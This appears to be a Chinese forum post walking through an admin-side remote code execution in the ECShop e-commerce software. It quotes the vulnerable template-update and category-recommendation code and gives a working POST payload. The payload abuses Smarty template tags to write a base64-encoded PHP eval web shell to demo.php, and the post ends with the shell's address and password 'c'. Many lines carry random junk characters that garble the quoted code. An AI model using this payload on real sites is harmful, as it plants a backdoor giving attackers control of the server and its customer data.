Ecshop后台getshell

admin

首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板

0 T8 u* q8 \" X8 P* \4 O而模板里面可以执行他定义的php代码，这样只要可以写出模板 然后找到调用就可以拿到shell了
1 g7 N% Z+ o/ A9 B1 A但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
1 d8 j: a2 g: s3 n, [1 gadmin/template.php
0 c8 d8 t# Z# c
1 if ($_REQUEST['act'] == 'update_library')

2   

3 {
! m0 }( k7 j9 R  Z
% _# a& h  W! E2 w2 l) U4     check_authz_json('library_manage');

5   
1 `: e9 _9 P& q& K7 L" t
+ i2 v: u* s8 ~  i) i4 C6     $html = stripslashes(json_str_iconv($_POST['html']));
5 M- i4 |4 r  o: g* S, H4 o
7   

8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
7 M, A6 r, U8 E! w( _8 K/ b
' b5 _. ^8 c4 Z5 n$ j/ i9   
9 ^$ s# e- Q8 n; g
0 y- w/ ^7 g, ^# G# p& Y0 j: z10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
/ `) G5 u- }& W  W  u
11   
8 u: E& i! p- n. m. N# d! y
" ]8 P, q: |: L: N" K12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
* g9 `0 S9 L% D  Q* @- {$ V
13   

14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出

15     {
( `) R7 l1 d2 k8 z5 ]7 \5 M
16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
  y2 I( ~1 U$ v! l& \9 C' y/ b6 l
4 @* _3 w" M1 a17         make_json_result('', $_LANG['update_lib_success']);
+ x) }  G( J% \8 W
/ r; @, \7 ~, J( E, }- r6 j3 a18     }
% u3 S( r, ]& w8 X. X% W2 a
19     else
1 y" O) \! t0 u* O& C8 A
20     {

% A* w& n% A1 o' c: G7 @8 _9 V3 Y21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));

22     }

23 }
8 {5 ^3 t, p/ ?( x1 s
那么找个比较方便调用了模板的文件
index.php
+ Y- H  D2 m$ \+ K9 o* ~6 a
1 if ($act == 'cat_rec')

9 B8 L4 [* [4 ]: {  I5 Y8 b2   

3 B7 |  Z6 m1 o- J+ E. C3 {
& L- Y2 k& L* A8 K
: w+ I9 Y. u, r5 @4   
1 k2 w: I' L3 T/ ?! d. {0 Q
5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');

6   
  c' j0 Z6 }3 f& b. `1 j$ ]$ s' a& X
7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
1 P& j4 O! S: _7 n  T2 n$ S
8   
# o" Y& P- ], q
8 S, A; z9 ]" z1 Q: ]. y. e9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
% n  P' B& w/ x  y4 Z' G" {
10   
4 _0 N# o1 D+ m4 v6 O$ D! L
/ b3 Q- n* x- M/ a+ \2 E11     include_once('includes/cls_json.php');

7 w0 z' {% j% K5 }12   

13     $json = new JSON;
9 [# `( w% H5 M
14   
6 e$ @! _% D. E
15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);

16   

17     $children = get_children($cat_id);

8 G1 ~7 f4 n4 z" y! L18   
. J; x9 j2 S: E6 U% N
19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品
1 z1 V% ~" C# S) w+ e6 B
20   

' m* L! \5 G9 F# v! X21     $smarty->assign('cat_rec_sign', 1);
6 Y+ n( t8 t* W# Y
; N/ d$ a: I5 {* W! Y22   
4 T9 S: j6 P8 p* Q: I
23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
+ G- Z" E. x9 ~! N2 x" ?& y# i
24   
& ?3 x! b. x8 d
25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';

% v1 i. q" F" ^5 g8 u( I26   

) ]+ e4 h3 ^* e5 M' B27         echo $rec_array[$rec_type];
8 \' p( Z  U* u! [0 S+ y! i' Y
28   

29     die($json->encode($result));
5 f5 M3 F6 S, C; ?. m! u$ h! P( p
30   

7 `3 Q: A& s8 L8 X* Z31 }

那么就有利用方法了
post包到http://localhost/ec/admin/template.php?act=update_library
1 _% k* ^( p' j; {Post内容：

​
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
4 h% D! ~, p' t3 E4 j
然后访问http://localhost/ec/index.php?act=cat_rec
" ]9 [  p+ d/ K# j* o
5 z5 u+ {0 o; `4 r; ^! Jshel地址：http://localhost/ec/demo.php
密码c